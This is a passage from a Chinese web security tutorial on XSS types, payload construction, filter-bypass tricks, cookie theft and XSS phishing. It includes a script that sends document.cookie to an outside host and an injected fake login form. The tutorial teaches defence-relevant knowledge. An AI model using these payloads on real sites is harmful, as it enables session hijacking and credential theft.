4.4.6 XSS跨站脚本攻击–XSS漏洞分类
反射型XSS
反射型XSS又称为非持久型XSS,是现在最容易出现的一种XSS漏洞。用户在请求某条URL地址的时候,会携带一部分数据。当客户端进行访问某条链接时,攻击者可以将恶意代码植入到URL,如果服务端未对URL携带的参数做判断或者过滤处理,直接返回响应页面,那么XSS攻击代码就会一起被传输到用户的浏览器,从而触发反射型XSS。
比如,当用户进行搜索时,返回结果通常会包括用户原始的搜索内容,如果攻击者精心构造包含XSS恶意代码的链接,诱导用户点击并成功执行后,用户的信息就可以被窃取,甚至可以模拟用户进行一些操作。
编码伪装:

短链接伪装:

- 特点
- 非持久性
- 参数型脚本
- 反射型XSS的JS代码在Web应用的参数(变量)中,如搜索框等地方
- 数据流量走向:浏览器->后端 ->浏览器
存储型XSS
存储型XSS又叫持久型XSS。一般而言,它是三种XSS里危害最大的一种。此类型的XSS漏洞是由于恶意攻击代码被持久化保存到服务器上,然后被显示到HTML页面之中。这类漏洞经常出现在用户评论的页面,攻击者精心构造XSS代码,保存到数据库中,当其他用户再次访问这个页面时,就会触发并执行恶意的XSS代码,从而窃取用户的敏感信息。
特点
- 持久性跨站脚本
- 持久性体现在JS代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中,如留言板等地方
数据流量走向:浏览器 ->后端 ->数据库 ->后端 -> 浏览器
DOM型XSS

文档是由节点构成的集合,在DOM里存在许多不同类型的节点,主要分为以下三种
- 元素节点
- 在“购物清单”例子中,<body>、<p>、<u>之类的元素在文档中的布局形成了文档的结构,它们即是元素节点。
- 文本节点
- 文档通常会包含一些内容,这些内容多数由文本提供,如前面例子中,<p>包含着文本“欢迎购买”,它就是一个文本节点。
- 属性节点
- 元素或多或少都有一些属性,属性用于对元素做出更具体的描述。
DOM型XSS漏洞是基于文档对象模型(Document Object Model)的一种漏洞这种XSS与反射型XSS、持久型XSS在原理上有本质区别,它的攻击代码并不需要服务器解析响应,触发XSS靠的是浏览器端的DOM解析。客户端上的JavaScript脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获取数据并执行。在客户端直接输出DOM内容的时候极易触发DOM型XSS漏洞,如document.getElementByld(“x”).innerHTML、document.write等,




- 特点
- 非持久性
- 数据流量走向:URL->浏览器
4.4.7 XSS跨站脚本攻击–Payload构造及变形
- 利用【<>】构造HTML标签和<script></script>标签
1 | <h1 style="color:green;">XSS</h1> |
- 利用HTML标签的属性值(伪协议)
1 | <a href="javascript:alert(/xss/)">touch me !</a> |
- 利用事件
事件种类
- windows事件 对windows 对象触发的事件
- Form 事件 HTML 表单内的动作触发事件
- Keyboard 事件 键盘按键
- Mouse 事件 由鼠标或类似用户动作触发的事件
- Media 事件 由多媒体触发的事件
参考链接:
https://www.w3school.com.cn/tags/html_ref_eventattributes.asp

1 | <img src= './smile.jpg' onmouseover='alert(/xss/)'> |
- 利用CSS
可以利用CSS(层叠样式脚本)触发XSS。但是这种方法比较古老,基本上不适合现在主要的浏览器,但是从学习的角度,我们需要了解这种类型的XSS,以下代码均在IE6下测试:
1 | 行内样式 |
- 大小写绕过

- 双写绕过

- 引号,反引号有时可以代替单双引号和括号

- 【/】代替空格

- Tab与回车

- 编码


4.4.8 Cookie攻击
Cookie基础
- 简介

- Cookie特性
- 同一个网站中所有的页面共享一套Cookie(因为不可能在同一个网站,打开页面都要登录一次,以域名为单位)
- 数量、大小限制(过大的存储是不现实的)
- 过期时间(如果不设置过期时间,关闭浏览器就会自动清除Cookie)
- Cookie作用
- Cookie最大作用维持会话的凭证
- 减少登录网站的次数
- 记录关于用户信息
- Cookie类型
根据Cookie的时效性以及相关特点,可以把它分为两种类型:持久型Cookie和临时型Cookie。
- 持久型Cookie以文本形式存储在硬盘上,由浏览器存取
- 临时型Cookie也称为会话Cookie,存储在内存中,关闭当前浏览器后会立即消失
- Cookie属性
- Name–Cookie的名称;
- Value–读写Cookie的值;
- Expires–通过给定一个过期时间来创建一个持久化Cookie:
- Path–关联到Cookie的路径,默认为/
- Domain–设置关联Cookie的域名;
- Secure–用于指定Cookie需要通过安全Socket层连接传递
- HttpOnly–用于避免Cookie被JavaScript访问
- Cookie操作
浏览器通过Document对象访问Cookie。
若要创建一个Cookie,只要将特定格式的字符串赋给document.cookie即可
cookieName=cookieValue;expirationdate;path
后端语言处理方式:
PHP setrawcookie()
setcookie()


Cookie攻击
- 常见的Cookie攻击方式
实现基于HTTP Cookie攻击的前提是目标系统在Cookie中保存了用户ID、凭证状态等其它可以用来进行攻击的信息。
常见的基于Cookie的攻击方式有三种:
1、直接访问Cookie文件查找想要的机密信息
2、在客户端和服务端进行Cookie信息传递的时候进行窃取,从而冒充合法用户操作;
3、攻击者修改Cookie信息,所以在服务端接收到客户端获取的Cookie信息的时候就会对攻击者伪造过的Cookie信息操作。
- 获取Cookie信息的主要途径
- 直接读取磁盘的Cookie文件;
- 使用网络嗅探器来获取网络上传输的Cookie;
- 使用Cookie管理工具获取内存或文件系统中的Cookie
- 使用跨站脚本盗取Cookie
- 获取客户端cookie信息
1 | 1、<script> document.location="http://www.test.com/cookie.asp?cookie="+document.cookie </script> |

- 相关函数介绍



XSS钓鱼攻击
网络钓鱼(Phishing)是一种利用欺骗性的电子邮件和伪造的Web站点进行网络诈骗,意图引诱受害者给出敏感信息(如用户名、口令、身份证号等信息)的攻击手段,主要通过对受害者心理弱点、好奇心、信任度等心理陷阱来实现诈骗。属于社会工程学的一种。
假设有一个网页文件含有以下HTML代码
<a href=”百度\">http://www.qq.com">百度\
- XSS重定向钓鱼(XSS Redirect Phishing)
将正常用户访问重定向到恶意网站,将恶意网站伪造的和正常访问的网站一样。
1 | 假设www.bug.com上有一处XSS |
- HTML注入式钓鱼(XSS HTMLInject Phishing)
HTML注入式钓鱼是指直接利用XSS漏洞注入HTML或JavaScript代码到页面中
1 | <html> |
<div style="text-align:center;">
<form Method="PosT" Action="phishing.php" Name="form"><br />
<br />Login:<br/>
<input name="login"/>
<br />Password:<br/>
<input name="Password" type="password" /><br/><br/>
<input name="Valid" value="Ok" type="submit" /><br/>
</form>
</div>

- iframe钓鱼
iframe钓鱼是通过标签嵌入远程域的一个页面实施钓鱼。
1 | <iframe src="http://www.baidu.com" height="100%" width="100%"</iframe> |
